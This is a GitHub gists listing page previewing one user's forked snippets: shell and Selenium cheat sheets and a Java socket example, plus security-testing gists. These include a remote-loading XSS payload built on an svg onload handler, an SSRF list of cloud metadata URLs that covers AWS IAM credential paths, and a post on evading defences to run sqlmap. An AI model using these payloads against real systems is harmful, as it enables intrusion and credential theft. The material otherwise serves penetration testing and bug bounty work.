Skip to content

Instantly share code, notes, and snippets.

View nuryslyrt's full-sized avatar
🌟
Discover Stars!

Nur Gucu nuryslyrt

🌟
Discover Stars!
View GitHub Profile
@nuryslyrt
nuryslyrt / kill_with_pid_awk_sed.sh
Created April 3, 2018 11:03 — forked from v9n/kill_with_pid_awk_sed.sh
Kill a procees with pid getting on the fly via awk
#For example, we want to kill Netbeans
ps -ef | grep beans | awk ' $6 != "ttys000" {print$2;}' | xargs kill {}
#Or get the first line only (to aovid getting grep command itself)
ps -ef | grep beans | head -n 1 | awk ' {print$2}' | xargs kill {}
@nuryslyrt
nuryslyrt / gist:f76bf436801e65e85d2a818140d00a63
Created April 2, 2018 08:22 — forked from casschin/gist:1990245
Python webdriver api quick sheet
### Locating UI elements ###
# By ID
<div id="coolestWidgetEvah">...</div>
element = driver.find_element_by_id("coolestWidgetEvah")
or
from selenium.webdriver.common.by import By
element = driver.find_element(by=By.ID, value="coolestWidgetEvah")
# By class name:
@nuryslyrt
nuryslyrt / web-servers.md
Created March 10, 2018 13:28 — forked from willurd/web-servers.md
Big list of http static server one-liners

Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.

Discussion on reddit.

Python 2.x

$ python -m SimpleHTTPServer 8000
@nuryslyrt
nuryslyrt / jsmem.md
Created March 9, 2018 12:03 — forked from justinbmeyer/jsmem.md
JS Memory

JavaScript Code

var str = "hi";

Memory allocation:

Address Value Description
...... ...
@nuryslyrt
nuryslyrt / XSS-payload.html
Created February 26, 2018 20:55 — forked from bl4de/XSS-payload.html
Remote XSS
<svg/onload=(function(){d=document;s=d.createElement('script');d.body.appendChild(s);
setInterval(function(){d.body.removeChild(s);s=d.createElement('script');d.body.appendChild(s);
s.src="//127.0.0.1:8888";d.body.appendChild(s);},0);})()>
@nuryslyrt
nuryslyrt / cloud_metadata.txt
Created December 21, 2017 14:03 — forked from 0xBADCA7/cloud_metadata.txt
Cloud Metadata Dictionary useful for SSRF Testing
## AWS
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
@nuryslyrt
nuryslyrt / Beat dynamic parameters with SQLMap.md
Created December 21, 2017 14:03
Beat dynamic parameters with SQLMap

In the [previous][1] post I have written about a simple method of deterring automated tools like sqlmap from being run against your application. I have argued that having some client-side JavaScript code that dynamically mangles form fields' name attribute can help a lot (prevent automated calls to DB via your app) when it comes to SQL-injection discovery (provided that the attacker is not-so-determined). Now let's take another side - one of an attacker - and try to circumvent that protection.

First of all, one has to determine what is actually being sent to the server in the end. In the [example][2] from the aforementioned [post][1] we have simulated a very simple mechanism implemented at the client side:

function submitForm()
        {
            var u = document.getElementById('username');
            var p = document.getElementById('password');
 var ts = (new Date()).getTime().toString().substr(0, 10);
@nuryslyrt
nuryslyrt / github_bugbountyhunting.md
Created November 21, 2017 17:00 — forked from EdOverflow/github_bugbountyhunting.md
My tips for finding security issues in GitHub projects.

GitHub for Bug Bounty Hunters

GitHub repositories can disclose all sorts of potentially valuable information for bug bounty hunters. The targets do not always have to be open source for there to be issues. Organization members and their open source projects can sometimes accidentally expose information that could be used against the target company. in this article I will give you a brief overview that should help you get started targeting GitHub repositories for vulnerabilities and for general recon.

Mass Cloning

You can just do your research on github.com, but I would suggest cloning all the target's repositories so that you can run your tests locally. I would highly recommend @mazen160's GitHubCloner. Just run the script and you should be good to go.

$ python githubcloner.py --org organization -o /tmp/output
@nuryslyrt
nuryslyrt / SharedServerSocketPortExample.java
Created November 15, 2017 01:25 — forked from thomasdarimont/SharedServerSocketPortExample.java
Example to demonstrate sharing of ServerSocket ports with Java 9
package demo.net;
import java.io.FilterOutputStream;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.StandardSocketOptions;
import java.util.UUID;
@nuryslyrt
nuryslyrt / JAVA-ADVISORY.md
Created October 14, 2017 23:24 — forked from frohoff/JAVA-ADVISORY.md
Java 7u21 Security Advisory

Security Advisory – Java SE

Chris Frohoff – Qualcomm Information Security and Risk Management

Introduction

  • Affected Product(s): Java SE 6, Java SE 7
  • Fixed in: Java SE 7u25 (2013-06-18), Java SE 8 (2014-03-18)
  • Vendor Contact: [email protected]
  • Vulnerability Type: Unsafe Object Deserialization